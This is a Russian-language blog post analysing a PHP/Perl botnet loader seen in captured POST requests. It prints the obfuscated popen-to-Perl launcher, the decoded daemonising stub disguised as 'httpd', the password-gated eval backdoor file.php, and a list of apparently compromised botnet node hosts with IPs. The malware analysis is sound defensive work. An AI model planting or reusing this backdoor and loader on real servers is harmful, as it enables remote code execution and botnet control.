Скрытие кода, метод 9

Автор: | 21 марта 2012

Этот метод популярен у ботоводов (т.е. распространителей perl-ботов), зашифрованный код передается непосредственно процессу Perl, запускаемому функцией popen():

error_reporting( 1 );
global $HTTP_SERVER_VARS;
if (@is_resource( $f = @popen( 'perl - E54POCH', "w" ) )) {
	@fwrite( $f, 'eval( pack( "H*", "6368...7d20" ) );eval( pack( "H*", "7573...353b"));' );
	@fflush( $f );
	sleep( 1 );
	@pclose( $f );
	echo "RUN OK";
} else {
	echo "RUN FALSE";
};

Этот код был замечен среди POST-запросов при просмотре через ngrep:

ngrep -tqW byline '^POST'

Сам запросы выглядел так:

T date time source-IP:port -> dest-IP:80 [AP]
POST https://domain.tld/path/file.php HTTP/1.0.
Connection: Close.
Accept: */*.
Host: domain.tld.
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322).
Content-Length: 28123.
Content-Type: multipart/form-data; boundary=xYzZY.
.
--xYzZY.
Content-Disposition: form-data; name="p".
.
Ox93Mdpqme8s.
--xYzZY.
Content-Disposition: form-data; name="f"; filename="f.txt".
.
error_reporting(1);global $HTTP_SERVER_VARS; if (@is_resource($f=@popen

Для удобного получения всего файла целиком, file.php был заменен на файл с кодом:

$upl = "";

$uploaddir = '/path/LOGG/';
$uploadfile = $uploaddir . date("Ymd-H:i:s") . ".log";

if (move_uploaded_file($_FILES['f']['tmp_name'], $uploadfile)) {
    echo "Done.\n";
    $upl = "File saved as: LOGG/$uploadfile\n";
}

if (isset( $_POST["p"] )) {
        $logtext = @$_POST["p"];
        $logtext .= "\nFile uploaded to: LOGG\n\n//------\n\n\n";
        $fp = fopen('POST.log', 'a+');
        fwrite($fp, $logtext);
        fclose($fp);
}

В первом исходнике, результат выполнения функции pack() передается функции eval() без каких-то дополнительных преобразований, поэтому логично предположить, что там просто текст. Распаковать его из 16-ричного формата можно так (вторая часть, тело бота):

$text = pack( "H*","7573...353b" );

$fp = fopen( 'bintext.dat', 'w' );
fwrite( $fp, $text );
fclose( $fp );

Таким образом, в bintext.dat получаем исходник perl-бота.

А в первой части марлезонского балета зашифрованного кода производится запуск бота (расшифрованный код):

chdir '/';
open STDIN, '/dev/null';
open STDOUT, '>/dev/null';
open STDERR, '>/dev/null';
my $pid = fork;
sleep(1),exit if $pid;
eval "use POSIX 'setsid'; setsid";
eval { $0 = 'httpd' }

А это исходный код самого файла file.php, которому отправлялись POST-запросы:

<?php
error_reporting( 1 );
global $HTTP_SERVER_VARS;
function say( $t ) {
	echo "$t\n";
}
function testdata( $t ) {
	say( md5( "testdata_$t" ) );
}
echo "<pre>";
testdata( 'start' );
if (md5( $_POST["p"] ) == "aace99428c50dbe965acc93f3f275cd3") {
	if ($code = @fread( @fopen( $HTTP_POST_FILES["f"]["tmp_name"], "rb" ), $HTTP_POST_FILES["f"]["size"] )) {
		eval( $code );
	} else {
		testdata( 'f' );
	};
} else {
	testdata( 'pass' );
}
testdata( 'end' );
echo "</pre>";
?>
Botnet

Список нодов (узлов) из отловленного perl-бота:

foldersys.de:28269 213.203.220.141
diplomni.info:21535 94.155.15.10 
studio-f3.com:28732 94.155.15.16 
hpredictor.info:26922 213.169.63.254 
occi.jp:28331 220.111.38.200 
bodasytradicion.com:24910 148.243.237.131
index.bg:29213 194.12.244.86 
foldersys.com:29190 213.203.220.141
soderco.com:23722 91.121.84.209 
sandwichsupermax.com:28710 88.203.156.60 
norskemagic.com:29490 213.136.34.26 
corenet.artflower.pe.kr:24639 115.68.17.87 
klobouk.fsv.cvut.cz:23388 147.32.129.99 
wobo04.de:21931 94.102.218.136 
europe-webdesign.de:25994 87.238.192.159 
azidong.com:25679 118.129.167.32
2001.asadal.com:28910 110.45.146.38
medic9000.com:20828 211.115.111.116
dream-honda.com:20958 124.146.181.181
bukiba.de:28148 46.4.66.194
kdhoist.com:28352 121.254.216.163
sm-werbung.com:27398 85.214.60.161
wenco-von-der-schlehhecke.de:23856 217.160.222.26
dmprojects.com:22970 62.80.235.38
mydesigna.info:21158 85.214.23.182
infiniteconstruction.co.th:27179 202.142.223.177
legal-alliance.net:27753 211.115.111.116
kaninchen-zucht.de:21659 62.116.180.6
akaza-dc.com:25777 211.115.111.116
soderco.fr:21617 91.121.84.209
chemtris.com:20211 110.45.144.57
daesansanding.co.kr:25697 203.236.241.184
tokyo-sr.net:24216 211.115.111.116

Скорее всего, это взломанные сервера, на которых висит процесс Perl, замаскированный под httpd,  и ждет указаний.

Добавить комментарий